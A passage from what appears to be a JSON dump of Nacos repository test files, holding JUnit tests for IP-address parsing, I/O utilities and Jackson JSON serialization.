org.junit.jupiter.api.Assertions.fail;\n\n/**\n * test IpUtil.\n *\n * @ClassName: IpUtilTest\n * @date 2020/9/3 10:31\n */\n@SuppressWarnings(\"checkstyle:AbbreviationAsWordInName\")\npublic class InternetAddressUtilTest {\n    \n    /**\n     * checkSplitIpPortStr. 2020/9/4 14:12\n     *\n     * @param addr       addr\n     * @param isEx       isEx\n     * @param equalsStrs equalsStrs\n     */\n    public static void checkSplitIpPortStr(String addr, boolean isEx, String... equalsStrs) {\n        try {\n            String[] array = InternetAddressUtil.splitIpPortStr(addr);\n            assertEquals(array.length, equalsStrs.length);\n            for (int i = 0; i < array.length; i++) {\n                assertEquals(array[i], equalsStrs[i]);\n            }\n        } catch (Exception ex) {\n            if (!isEx) {\n                // No exception is expected here, but an exception has occurred\n                fail(\"Unexpected exception\");\n            }\n        }\n    }\n    \n    @Test\n    void testIsIpv4() {\n        assertTrue(InternetAddressUtil.isIpv4(\"127.0.0.1\"));\n        assertFalse(InternetAddressUtil.isIpv4(\"[::1]\"));\n        assertFalse(InternetAddressUtil.isIpv4(\"asdfasf\"));\n        assertFalse(InternetAddressUtil.isIpv4(\"ffgertert\"));\n        assertFalse(InternetAddressUtil.isIpv4(\"127.100.19\"));\n    }\n    \n    @Test\n    void testIsIpv6() {\n        assertTrue(InternetAddressUtil.isIpv6(\"[::1]\"));\n        assertFalse(InternetAddressUtil.isIpv6(\"127.0.0.1\"));\n        assertFalse(InternetAddressUtil.isIpv6(\"er34234\"));\n    }\n    \n    @Test\n    void testIsIp() {\n        assertTrue(InternetAddressUtil.isIp(\"[::1]\"));\n        assertTrue(InternetAddressUtil.isIp(\"127.0.0.1\"));\n        assertFalse(InternetAddressUtil.isIp(\"er34234\"));\n        assertFalse(InternetAddressUtil.isIp(\"127.100.19\"));\n    }\n    \n    @Test\n    void testGetIpFromString() {\n        assertEquals(\"[::1]\", InternetAddressUtil.getIpFromString(\"http://[::1]:666/xzdsfasdf/awerwef\" + \"?eewer=2&xxx=3\"));\n        assertEquals(\"[::1]\", InternetAddressUtil.getIpFromString(\n                \"jdbc:mysql://[::1]:3306/nacos_config_test?characterEncoding=utf8&connectTimeout=1000\"\n                        + \"&socketTimeout=3000&autoReconnect=true&useUnicode=true&useSSL=false&serverTimezone=UTC\"));\n        assertEquals(\"127.0.0.1\",\n                InternetAddressUtil.getIpFromString(\"http://127.0.0.1:666/xzdsfasdf/awerwef\" + \"?eewer=2&xxx=3\"));\n        assertEquals(\"127.0.0.1\", InternetAddressUtil.getIpFromString(\n                \"jdbc:mysql://127.0.0.1:3306/nacos_config_test?characterEncoding=utf8&connectTimeout=1000\"\n                        + \"&socketTimeout=3000&autoReconnect=true&useUnicode=true&useSSL=false&serverTimezone=UTC\"));\n        assertEquals(\"\", InternetAddressUtil.getIpFromString(\"http://[::1:666\"));\n        \n        assertEquals(\"\", InternetAddressUtil.getIpFromString(\"http://[dddd]:666/xzdsfasdf/awerwef\" + \"?eewer=2&xxx=3\"));\n        assertEquals(\"\", InternetAddressUtil.getIpFromString(\n                \"jdbc:mysql://[127.0.0.1]:3306/nacos_config_test?characterEncoding=utf8&connectTimeout=1000\"\n                        + \"&socketTimeout=3000&autoReconnect=true&useUnicode=true&useSSL=false&serverTimezone=UTC\"));\n        assertEquals(\"\", InternetAddressUtil.getIpFromString(\n                \"jdbc:mysql://666.288.333.444:3306/nacos_config_test?characterEncoding=utf8&connectTimeout=1000\"\n                        + \"&socketTimeout=3000&autoReconnect=true&useUnicode=true&useSSL=false&serverTimezone=UTC\"));\n        assertEquals(\"\", InternetAddressUtil.getIpFromString(\n                \"jdbc:mysql://292.168.1.1:3306/nacos_config_test?characterEncoding=utf8&connectTimeout=1000\"\n                        + \"&socketTimeout=3000&autoReconnect=true&useUnicode=true&useSSL=false&serverTimezone=UTC\"));\n        assertEquals(\"\", InternetAddressUtil.getIpFromString(\n                \"jdbc:mysql://29.168.1.288:3306/nacos_config_test?characterEncoding=utf8&connectTimeout=1000\"\n                        + \"&socketTimeout=3000&autoReconnect=true&useUnicode=true&useSSL=false&serverTimezone=UTC\"));\n        assertEquals(\"\", InternetAddressUtil.getIpFromString(\n                \"jdbc:mysql://29.168.288.28:3306/nacos_config_test?characterEncoding=utf8&connectTimeout=1000\"\n                        + \"&socketTimeout=3000&autoReconnect=true&useUnicode=true&useSSL=false&serverTimezone=UTC\"));\n        assertEquals(\"\", InternetAddressUtil.getIpFromString(\n                \"jdbc:mysql://29.288.28.28:3306/nacos_config_test?characterEncoding=utf8&connectTimeout=1000\"\n                        + \"&socketTimeout=3000&autoReconnect=true&useUnicode=true&useSSL=false&serverTimezone=UTC\"));\n        assertEquals(\"\", InternetAddressUtil.getIpFromString(\"\"));\n        assertEquals(\"\", InternetAddressUtil.getIpFromString(null));\n    }\n    \n    @Test\n    void testSplitIpPort() {\n        checkSplitIpPortStr(\"[::1]:88\", false, \"[::1]\", \"88\");\n        checkSplitIpPortStr(\"[::1]\", false, \"[::1]\");\n        checkSplitIpPortStr(\"127.0.0.1:88\", false, \"127.0.0.1\", \"88\");\n        checkSplitIpPortStr(\"127.0.0.1\", false, \"127.0.0.1\");\n        checkSplitIpPortStr(\"[2001:db8:0:0:1:0:0:1]:88\", false, \"[2001:db8:0:0:1:0:0:1]\", \"88\");\n        checkSplitIpPortStr(\"[2001:0db8:0:0:1:0:0:1]:88\", false, \"[2001:0db8:0:0:1:0:0:1]\", \"88\");\n        checkSplitIpPortStr(\"[2001:db8::1:0:0:1]:88\", false, \"[2001:db8::1:0:0:1]\", \"88\");\n        checkSplitIpPortStr(\"[2001:db8::0:1:0:0:1]:88\", false, \"[2001:db8::0:1:0:0:1]\", \"88\");\n        checkSplitIpPortStr(\"[2001:0db8::1:0:0:1]:88\", false, \"[2001:0db8::1:0:0:1]\", \"88\");\n        checkSplitIpPortStr(\"[2001:db8:0:0:1::1]:88\", false, \"[2001:db8:0:0:1::1]\", \"88\");\n        checkSplitIpPortStr(\"[2001:db8:0000:0:1::1]:88\", false, \"[2001:db8:0000:0:1::1]\", \"88\");\n        checkSplitIpPortStr(\"[2001:DB8:0:0:1::1]:88\", false, \"[2001:DB8:0:0:1::1]\", \"88\");\n        checkSplitIpPortStr(\"localhost:8848\", false, \"localhost\", \"8848\");\n        checkSplitIpPortStr(\"[dead::beef]:88\", false, \"[dead::beef]\", \"88\");\n        \n        // illegal ip will get abnormal results\n        checkSplitIpPortStr(\"::1:88\", false, \"\", \"\", \"1\", \"88\");\n        checkSplitIpPortStr(\"[::1:88\", false, \"[\", \"\", \"1\", \"88\");\n        checkSplitIpPortStr(\"[127.0.0.1]:88\", false, \"[127.0.0.1]\", \"88\");\n        checkSplitIpPortStr(\"[dead:beef]:88\", false, \"[dead:beef]\", \"88\");\n        checkSplitIpPortStr(\"[fe80::3ce6:7132:808e:707a%19]:88\", false, \"[fe80::3ce6:7132:808e:707a%19]\", \"88\");\n        checkSplitIpPortStr(\"[fe80::3]e6]:88\", false, \"[fe80::3]\", \"6]:88\");\n        checkSplitIpPortStr(\"\", true);\n    }\n    \n    @Test\n    void testCheckIPs() {\n        assertEquals(\"ok\", InternetAddressUtil.checkIps(\"127.0.0.1\"));\n        assertEquals(\"ok\", InternetAddressUtil.checkIps());\n        assertEquals(\"ok\", InternetAddressUtil.checkIps());\n        assertEquals(\"ok\", InternetAddressUtil.checkIps(null));\n        \n        assertEquals(\"illegal ip: 127.100.19\", InternetAddressUtil.checkIps(\"127.100.19\", \"127.0.0.1\"));\n    }\n    \n    @Test\n    void testIsDomain() {\n        assertTrue(InternetAddressUtil.isDomain(\"localhost\"));\n        assertTrue(InternetAddressUtil.isDomain(\"github.com\"));\n        assertTrue(InternetAddressUtil.isDomain(\"prefix.infix.suffix\"));\n        assertTrue(InternetAddressUtil.isDomain(\"p-hub.com\"));\n        \n        assertFalse(InternetAddressUtil.isDomain(\"\"));\n        assertFalse(InternetAddressUtil.isDomain(null));\n    }\n    \n    @Test\n    void testRemoveBrackets() {\n        assertEquals(\"2001:DB8:0:0:1::1\", InternetAddressUtil.removeBrackets(\"[2001:DB8:0:0:1::1]\"));\n        assertEquals(\"2077\", InternetAddressUtil.removeBrackets(\"[2077[]]]\"));\n        assertEquals(\"\", InternetAddressUtil.removeBrackets(\"\"));\n        assertEquals(\"\", InternetAddressUtil.removeBrackets(null));\n    }\n    \n    @Test\n    void testCheckOk() {\n        assertTrue(InternetAddressUtil.checkOk(\"ok\"));\n        assertFalse(InternetAddressUtil.checkOk(\"ojbk\"));\n    }\n    \n    @Test\n    void testContainsPort() {\n        assertTrue(InternetAddressUtil.containsPort(\"127.0.0.1:80\"));\n        assertFalse(InternetAddressUtil.containsPort(\"127.0.0.1:80:80\"));\n    }\n    \n    @Test\n    void testLocalHostIp()\n            throws NoSuchFieldException, IllegalAccessException, InvocationTargetException, NoSuchMethodException {\n        Field field = InternetAddressUtil.class.getField(\"PREFER_IPV6_ADDRESSES\");\n        field.setAccessible(true);\n        Method getDeclaredFields0 = Class.class.getDeclaredMethod(\"getDeclaredFields0\", boolean.class);\n        getDeclaredFields0.setAccessible(true);\n        Field[] fields = (Field[]) getDeclaredFields0.invoke(Field.class, false);\n        Field modifiersField = null;\n        for (Field each : fields) {\n            if (\"modifiers\".equals(each.getName())) {\n                modifiersField = each;\n            }\n        }\n        if (modifiersField != null) {\n            modifiersField.setAccessible(true);\n            modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);\n        }\n        \n        field.set(null, false);\n        assertEquals(\"127.0.0.1\", InternetAddressUtil.localHostIp());\n        \n        field.set(null, true);\n        assertEquals(\"[::1]\", InternetAddressUtil.localHostIp());\n    }\n    \n    @Test\n    void testIpToInt() {\n        assertEquals(2130706433, InternetAddressUtil.ipToInt(\"127.0.0.1\"));\n        assertEquals(-1062731775, InternetAddressUtil.ipToInt(\"192.168.0.1\"));\n    }\n    \n    @Test\n    void testIllegalIpToInt() {\n        assertThrows(IllegalArgumentException.class, () -> {\n            InternetAddressUtil.ipToInt(\"127.0.0.256\");\n        });\n    }\n}\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/utils/IoUtilsTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\nimport org.apache.commons.io.Charsets;\nimport org.junit.jupiter.api.Test;\n\nimport java.io.BufferedReader;\nimport java.io.ByteArrayInputStream;\nimport java.io.File;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.InputStreamReader;\nimport java.net.HttpURLConnection;\nimport java.nio.charset.StandardCharsets;\nimport java.security.AccessController;\nimport java.security.PrivilegedAction;\nimport java.util.List;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.junit.jupiter.api.Assertions.fail;\nimport static org.mockito.Mockito.mock;\nimport static org.mockito.Mockito.verify;\nimport static org.mockito.Mockito.when;\n\n/**\n * Unit test of IoUtils.\n *\n * @author karsonto\n */\nclass IoUtilsTest {\n    \n    @Test\n    void testTryDecompressForNotGzip() throws Exception {\n        byte[] testCase = \"123\".getBytes(Charsets.toCharset(\"UTF-8\"));\n        assertEquals(testCase, IoUtils.tryDecompress(testCase));\n    }\n    \n    @Test\n    void testTryDecompressForGzip() throws Exception {\n        byte[] testCase = IoUtils.tryCompress(\"123\", \"UTF-8\");\n        assertEquals(\"123\", new String(IoUtils.tryDecompress(testCase), StandardCharsets.UTF_8));\n    }\n    \n    @Test\n    void testTryCompressWithEmptyString() {\n        assertEquals(0, IoUtils.tryCompress(\"\", \"UTF-8\").length);\n        assertEquals(0, IoUtils.tryCompress(null, \"UTF-8\").length);\n    }\n    \n    @Test\n    void testWriteStringToFile() throws IOException {\n        File file = null;\n        try {\n            file = File.createTempFile(\"test_writeStringToFile\", \".txt\");\n            IoUtils.writeStringToFile(file, \"123\", \"UTF-8\");\n            List<String> actual = IoUtils.readLines(new FileReader(file));\n            assertEquals(1, actual.size());\n            assertEquals(\"123\", actual.get(0));\n        } finally {\n            if (null != file) {\n                file.deleteOnExit();\n            }\n        }\n    }\n    \n    @Test\n    void testToStringWithNull() throws IOException {\n        assertEquals(\"\", IoUtils.toString(null, \"UTF-8\"));\n    }\n    \n    @Test\n    void testToStringWithReader() throws IOException {\n        String testCase = \"123\";\n        assertEquals(testCase,\n                IoUtils.toString(new ByteArrayInputStream(testCase.getBytes(Charsets.toCharset(\"UTF-8\"))), \"UTF-8\"));\n    }\n    \n    @Test\n    void testDeleteForNullFile() throws IOException {\n        IoUtils.delete(null);\n    }\n    \n    @Test\n    void testDeleteSuccess() throws IOException {\n        File file = null;\n        try {\n            file = File.createTempFile(\"test_deleteForFile\", \".txt\");\n            assertTrue(file.exists());\n            IoUtils.delete(file);\n            assertFalse(file.exists());\n        } finally {\n            if (null != file) {\n                file.deleteOnExit();\n            }\n        }\n    }\n    \n    @Test\n    void testDeleteFileFailure() throws IOException {\n        assertThrows(IOException.class, () -> {\n            File file = mock(File.class);\n            when(file.exists()).thenReturn(true);\n            when(file.delete()).thenReturn(false);\n            IoUtils.delete(file);\n        });\n    }\n    \n    @Test\n    void testDeleteForDirectory() throws IOException {\n        File file = null;\n        try {\n            String tmpDir = AccessController.doPrivileged((PrivilegedAction<String>) () -> System.getProperty(\"java.io.tmpdir\"));\n            File tmpDirFile = new File(tmpDir, \"IoUtilsTest\");\n            tmpDirFile.mkdirs();\n            file = File.createTempFile(\"test_deleteForDirectory\", \".txt\", tmpDirFile);\n            assertTrue(file.exists());\n            IoUtils.delete(file.getParentFile());\n            assertTrue(tmpDirFile.exists());\n            assertFalse(file.exists());\n        } finally {\n            if (null != file) {\n                file.getParentFile().deleteOnExit();\n                file.deleteOnExit();\n            }\n        }\n    }\n    \n    @Test\n    void testCleanDirectoryForNonExistingDirectory() throws IOException {\n        assertThrows(IllegalArgumentException.class, () -> {\n            File nonexistentDir = new File(\"non_exist\");\n            IoUtils.cleanDirectory(nonexistentDir);\n        });\n    }\n    \n    @Test\n    void testCleanDirectoryForFile() throws IOException {\n        assertThrows(IllegalArgumentException.class, () -> {\n            File mockFile = mock(File.class);\n            when(mockFile.exists()).thenReturn(true);\n            IoUtils.cleanDirectory(mockFile);\n        });\n    }\n    \n    @Test\n    void testCleanDirectoryWithEmptyDirectory() throws IOException {\n        assertThrows(IOException.class, () -> {\n            File mockFile = mock(File.class);\n            when(mockFile.exists()).thenReturn(true);\n            when(mockFile.isDirectory()).thenReturn(true);\n            IoUtils.cleanDirectory(mockFile);\n        });\n    }\n    \n    @Test\n    void testCleanDirectory() throws IOException {\n        assertThrows(IOException.class, () -> {\n            File mockFile = mock(File.class);\n            when(mockFile.exists()).thenReturn(true);\n            when(mockFile.isDirectory()).thenReturn(true);\n            File mockSubFile = mock(File.class);\n            when(mockSubFile.exists()).thenReturn(true);\n            when(mockFile.listFiles()).thenReturn(new File[] {mockSubFile});\n            IoUtils.cleanDirectory(mockFile);\n        });\n    }\n    \n    @Test\n    void testIsGzipStreamWithNull() {\n        assertFalse(IoUtils.isGzipStream(null));\n    }\n    \n    @Test\n    void testIsGzipStreamWithEmpty() {\n        assertFalse(IoUtils.isGzipStream(new byte[0]));\n    }\n    \n    @Test\n    void testCloseQuietly() throws IOException {\n        BufferedReader br = new BufferedReader(\n                new InputStreamReader(new ByteArrayInputStream(\"111\".getBytes(Charsets.toCharset(\"UTF-8\")))));\n        assertEquals(\"111\", br.readLine());\n        IoUtils.closeQuietly(br);\n        try {\n            br.readLine();\n        } catch (IOException e) {\n            assertNotNull(e);\n            return;\n        }\n        fail();\n    }\n    \n    @Test\n    void testCloseQuietly2() throws IOException {\n        BufferedReader br = new BufferedReader(\n                new InputStreamReader(new ByteArrayInputStream(\"123\".getBytes(Charsets.toCharset(\"UTF-8\")))));\n        assertEquals(\"123\", br.readLine());\n        BufferedReader br2 = new BufferedReader(\n                new InputStreamReader(new ByteArrayInputStream(\"456\".getBytes(Charsets.toCharset(\"UTF-8\")))));\n        assertEquals(\"456\", br2.readLine());\n        IoUtils.closeQuietly(br, br2);\n        try {\n            br.readLine();\n        } catch (IOException e) {\n            assertNotNull(e);\n        }\n        try {\n            br2.readLine();\n        } catch (IOException e) {\n            assertNotNull(e);\n            return;\n        }\n        fail();\n    }\n    \n    @Test\n    void testCloseQuietlyForHttpConnection() throws IOException {\n        HttpURLConnection conn = mock(HttpURLConnection.class);\n        InputStream inputStream = mock(InputStream.class);\n        when(conn.getInputStream()).thenReturn(inputStream);\n        IoUtils.closeQuietly(conn);\n        verify(inputStream).close();\n    }\n    \n}\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/utils/JacksonUtilsTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.exception.runtime.NacosDeserializationException;\nimport com.alibaba.nacos.api.exception.runtime.NacosSerializationException;\nimport com.alibaba.nacos.common.model.RestResult;\nimport com.fasterxml.jackson.annotation.JsonFormat;\nimport com.fasterxml.jackson.annotation.JsonIgnore;\nimport com.fasterxml.jackson.annotation.JsonInclude;\nimport com.fasterxml.jackson.annotation.JsonProperty;\nimport com.fasterxml.jackson.annotation.JsonPropertyOrder;\nimport com.fasterxml.jackson.annotation.JsonSubTypes;\nimport com.fasterxml.jackson.annotation.JsonTypeInfo;\nimport com.fasterxml.jackson.core.type.TypeReference;\nimport com.fasterxml.jackson.databind.JsonNode;\nimport org.junit.jupiter.api.Test;\n\nimport java.io.ByteArrayInputStream;\nimport java.io.InputStream;\nimport java.math.BigDecimal;\nimport java.nio.charset.Charset;\nimport java.util.Collections;\nimport java.util.Date;\nimport java.util.LinkedHashMap;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.concurrent.atomic.AtomicBoolean;\nimport java.util.concurrent.atomic.AtomicInteger;\nimport java.util.concurrent.atomic.AtomicLong;\n\nimport static org.junit.jupiter.api.Assertions.assertArrayEquals;\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass JacksonUtilsTest {\n    \n    @Test\n    void testToJson1() {\n        assertEquals(\"null\", JacksonUtils.toJson(null));\n        assertEquals(\"\\\"string\\\"\", JacksonUtils.toJson(\"string\"));\n        assertEquals(\"30\", JacksonUtils.toJson(new BigDecimal(30)));\n        assertEquals(\"{\\\"key\\\":\\\"value\\\"}\", JacksonUtils.toJson(Collections.singletonMap(\"key\", \"value\")));\n        assertEquals(\"[{\\\"key\\\":\\\"value\\\"}]\",\n                JacksonUtils.toJson(Collections.singletonList(Collections.singletonMap(\"key\", \"value\"))));\n        assertEquals(\"{\\\"aLong\\\":0,\\\"aInteger\\\":1,\\\"aBoolean\\\":false}\", JacksonUtils.toJson(new TestOfAtomicObject()));\n        assertEquals(\"{\\\"date\\\":1626192000000}\", JacksonUtils.toJson(new TestOfDate()));\n        // only public\n        assertEquals(\"{\\\"publicAccessModifier\\\":\\\"public\\\"}\", JacksonUtils.toJson(new TestOfAccessModifier()));\n        // getter is also recognized\n        assertEquals(\"{\\\"value\\\":\\\"value\\\",\\\"key\\\":\\\"key\\\"}\", JacksonUtils.toJson(new TestOfGetter()));\n        // annotation available\n        assertEquals(\n                \"{\\\"@type\\\":\\\"JacksonUtilsTest$TestOfAnnotationSub\\\",\\\"date\\\":\\\"2021-07-14\\\",\\\"subField\\\":\\\"subField\\\",\"\n                        + \"\\\"camelCase\\\":\\\"value\\\"}\", JacksonUtils.toJson(new TestOfAnnotationSub()));\n    }\n    \n    @Test\n    void testToJson2() {\n        assertThrows(NacosSerializationException.class, () -> {\n            // object without field will throw exceptions\n            JacksonUtils.toJson(new Object());\n        });\n    }\n    \n    @Test\n    void testToJsonBytes1() {\n        assertArrayEquals(\"null\".getBytes(), JacksonUtils.toJsonBytes(null));\n        assertArrayEquals(\"\\\"string\\\"\".getBytes(), JacksonUtils.toJsonBytes(\"string\"));\n        assertArrayEquals(\"30\".getBytes(), JacksonUtils.toJsonBytes(new BigDecimal(30)));\n        assertArrayEquals(\"{\\\"key\\\":\\\"value\\\"}\".getBytes(), JacksonUtils.toJsonBytes(Collections.singletonMap(\"key\", \"value\")));\n        assertArrayEquals(\"[{\\\"key\\\":\\\"value\\\"}]\".getBytes(),\n                JacksonUtils.toJsonBytes(Collections.singletonList(Collections.singletonMap(\"key\", \"value\"))));\n        assertArrayEquals(\"{\\\"aLong\\\":0,\\\"aInteger\\\":1,\\\"aBoolean\\\":false}\".getBytes(),\n                JacksonUtils.toJsonBytes(new TestOfAtomicObject()));\n        assertArrayEquals(\"{\\\"date\\\":1626192000000}\".getBytes(), JacksonUtils.toJsonBytes(new TestOfDate()));\n        // only public\n        assertArrayEquals(\"{\\\"publicAccessModifier\\\":\\\"public\\\"}\".getBytes(),\n                JacksonUtils.toJsonBytes(new TestOfAccessModifier()));\n        // getter is also recognized\n        assertArrayEquals(\"{\\\"value\\\":\\\"value\\\",\\\"key\\\":\\\"key\\\"}\".getBytes(), JacksonUtils.toJsonBytes(new TestOfGetter()));\n        // annotation available\n        assertArrayEquals(\n                (\"{\\\"@type\\\":\\\"JacksonUtilsTest$TestOfAnnotationSub\\\",\\\"date\\\":\\\"2021-07-14\\\",\\\"subField\\\":\\\"subField\\\",\"\n                        + \"\\\"camelCase\\\":\\\"value\\\"}\").getBytes(), JacksonUtils.toJsonBytes(new TestOfAnnotationSub()));\n    }\n    \n    @Test\n    void testToJsonBytes2() {\n        assertThrows(NacosSerializationException.class, () -> {\n            // object without field will throw exceptions\n            JacksonUtils.toJsonBytes(new Object());\n        });\n    }\n    \n    /**\n     * JacksonUtils.toObj(byte[], Class)\n     */\n    @Test\n    void testToObject1() {\n        assertNull(JacksonUtils.toObj(\"null\".getBytes(), Object.class));\n        assertEquals(\"string\", JacksonUtils.toObj(\"\\\"string\\\"\".getBytes(), String.class));\n        assertEquals(new BigDecimal(30), JacksonUtils.toObj(\"30\".getBytes(), BigDecimal.class));\n        assertEquals(Collections.singletonMap(\"key\", \"value\"), JacksonUtils.toObj(\"{\\\"key\\\":\\\"value\\\"}\".getBytes(), Map.class));\n        assertEquals(Collections.singletonList(Collections.singletonMap(\"key\", \"value\")),\n                JacksonUtils.toObj(\"[{\\\"key\\\":\\\"value\\\"}]\".getBytes(), List.class));\n        assertEquals(new TestOfAtomicObject(),\n                JacksonUtils.toObj(\"{\\\"aLong\\\":0,\\\"aInteger\\\":1,\\\"aBoolean\\\":false}\".getBytes(), TestOfAtomicObject.class));\n        assertEquals(new TestOfDate(), JacksonUtils.toObj(\"{\\\"date\\\":1626192000000}\".getBytes(), TestOfDate.class));\n        assertEquals(new TestOfAccessModifier(),\n                JacksonUtils.toObj(\"{\\\"publicAccessModifier\\\":\\\"public\\\"}\".getBytes(), TestOfAccessModifier.class));\n        assertEquals(new TestOfGetter(),\n                JacksonUtils.toObj(\"{\\\"value\\\":\\\"value\\\",\\\"key\\\":\\\"key\\\"}\".getBytes(), TestOfGetter.class));\n        assertEquals(new TestOfAnnotationSub(), JacksonUtils.toObj(\n                (\"{\\\"@type\\\":\\\"JacksonUtilsTest$TestOfAnnotationSub\\\",\\\"date\\\":\\\"2021-07-14\\\",\"\n                        + \"\\\"subField\\\":\\\"subField\\\",\\\"camelCase\\\":\\\"value\\\"}\").getBytes(), TestOfAnnotation.class));\n    }\n    \n    /**\n     * JacksonUtils.toObj(byte[], Class)\n     */\n    @Test\n    void testToObject2() {\n        assertThrows(Exception.class, () -> {\n            JacksonUtils.toObj((\"{not_A}Json:String}\").getBytes(), TestOfAnnotationSub.class);\n        });\n    }\n    \n    /**\n     * JacksonUtils.toObj(byte[], Type)\n     */\n    @Test\n    void testToObject3() {\n        assertEquals(Collections.singletonMap(\"key\", \"value\"), JacksonUtils.toObj(\"{\\\"key\\\":\\\"value\\\"}\".getBytes(),\n                TypeUtils.parameterize(Map.class, String.class, String.class)));\n        assertEquals(Collections.singletonList(Collections.singletonMap(\"key\", \"value\")),\n                JacksonUtils.toObj(\"[{\\\"key\\\":\\\"value\\\"}]\".getBytes(),\n                        TypeUtils.parameterize(List.class, TypeUtils.parameterize(Map.class, String.class, String.class))));\n    }\n    \n    /**\n     * JacksonUtils.toObj(byte[], Type)\n     */\n    @Test\n    void testToObject4() {\n        assertThrows(Exception.class, () -> {\n            JacksonUtils.toObj(\"{not_A}Json:String}\".getBytes(), TypeUtils.parameterize(Map.class, String.class, String.class));\n        });\n    }\n    \n    /**\n     * JacksonUtils.toObj(byte[], Type)\n     */\n    @Test\n    void testToObject5() {\n        assertThrows(Exception.class, () -> {\n            JacksonUtils.toObj(\"{\\\"key\\\":\\\"value\\\"}\".getBytes(), Object.class.getGenericSuperclass());\n        });\n    }\n    \n    /**\n     * JacksonUtils.toObj(InputStream, Class)\n     */\n    @Test\n    void testToObject6() {\n        assertNull(JacksonUtils.toObj(new ByteArrayInputStream(\"null\".getBytes()), Object.class));\n        assertEquals(\"string\", JacksonUtils.toObj(new ByteArrayInputStream(\"\\\"string\\\"\".getBytes()), String.class));\n        assertEquals(new BigDecimal(30), JacksonUtils.toObj(new ByteArrayInputStream(\"30\".getBytes()), BigDecimal.class));\n        assertEquals(Collections.singletonMap(\"key\", \"value\"),\n                JacksonUtils.toObj(new ByteArrayInputStream(\"{\\\"key\\\":\\\"value\\\"}\".getBytes()), Map.class));\n        assertEquals(Collections.singletonList(Collections.singletonMap(\"key\", \"value\")),\n                JacksonUtils.toObj(new ByteArrayInputStream(\"[{\\\"key\\\":\\\"value\\\"}]\".getBytes()), List.class));\n        assertEquals(new TestOfAtomicObject(),\n                JacksonUtils.toObj(new ByteArrayInputStream(\"{\\\"aLong\\\":0,\\\"aInteger\\\":1,\\\"aBoolean\\\":false}\".getBytes()),\n                        TestOfAtomicObject.class));\n        assertEquals(new TestOfDate(),\n                JacksonUtils.toObj(new ByteArrayInputStream(\"{\\\"date\\\":1626192000000}\".getBytes()), TestOfDate.class));\n        assertEquals(new TestOfAccessModifier(),\n                JacksonUtils.toObj(new ByteArrayInputStream(\"{\\\"publicAccessModifier\\\":\\\"public\\\"}\".getBytes()),\n                        TestOfAccessModifier.class));\n        assertEquals(new TestOfGetter(),\n                JacksonUtils.toObj(new ByteArrayInputStream(\"{\\\"value\\\":\\\"value\\\",\\\"key\\\":\\\"key\\\"}\".getBytes()),\n                        TestOfGetter.class));\n        assertEquals(new TestOfAnnotationSub(), JacksonUtils.toObj((new ByteArrayInputStream(\n                        (\"{\\\"@type\\\":\\\"JacksonUtilsTest$TestOfAnnotationSub\\\",\"\n                                + \"\\\"date\\\":\\\"2021-07-14\\\",\\\"subField\\\":\\\"subField\\\",\\\"camelCase\\\":\\\"value\\\"}\").getBytes())),\n                TestOfAnnotation.class));\n    }\n    \n    /**\n     * JacksonUtils.toObj(InputStream, Class)\n     */\n    @Test\n    void testToObject7() {\n        assertThrows(Exception.class, () -> {\n            JacksonUtils.toObj((ByteArrayInputStream) null, BigDecimal.class);\n        });\n    }\n    \n    /**\n     * JacksonUtils.toObj(InputStream, Class)\n     */\n    @Test\n    void testToObject8() {\n        assertThrows(Exception.class, () -> {\n            JacksonUtils.toObj(new ByteArrayInputStream(\"{not_A}Json:String}\".getBytes()), Object.class);\n        });\n    }\n    \n    /**\n     * JacksonUtils.toObj(byte[], TypeReference)\n     */\n    @Test\n    void testToObject9() {\n        assertNull(JacksonUtils.toObj(\"null\".getBytes(), new TypeReference<Object>() {\n        }));\n        assertEquals(\"string\", JacksonUtils.toObj(\"\\\"string\\\"\".getBytes(), new TypeReference<String>() {\n        }));\n        assertEquals(new BigDecimal(30), JacksonUtils.toObj(\"30\".getBytes(), new TypeReference<BigDecimal>() {\n        }));\n        assertEquals(Collections.singletonMap(\"key\", \"value\"),\n                JacksonUtils.toObj(\"{\\\"key\\\":\\\"value\\\"}\".getBytes(), new TypeReference<Map<String, String>>() {\n                }));\n        assertEquals(Collections.singletonList(Collections.singletonMap(\"key\", \"value\")),\n                JacksonUtils.toObj(\"[{\\\"key\\\":\\\"value\\\"}]\".getBytes(), new TypeReference<List<Map<String, String>>>() {\n                }));\n        assertEquals(new TestOfAtomicObject(), JacksonUtils.toObj(\"{\\\"aLong\\\":0,\\\"aInteger\\\":1,\\\"aBoolean\\\":false}\".getBytes(),\n                new TypeReference<TestOfAtomicObject>() {\n                }));\n        assertEquals(new TestOfDate(), 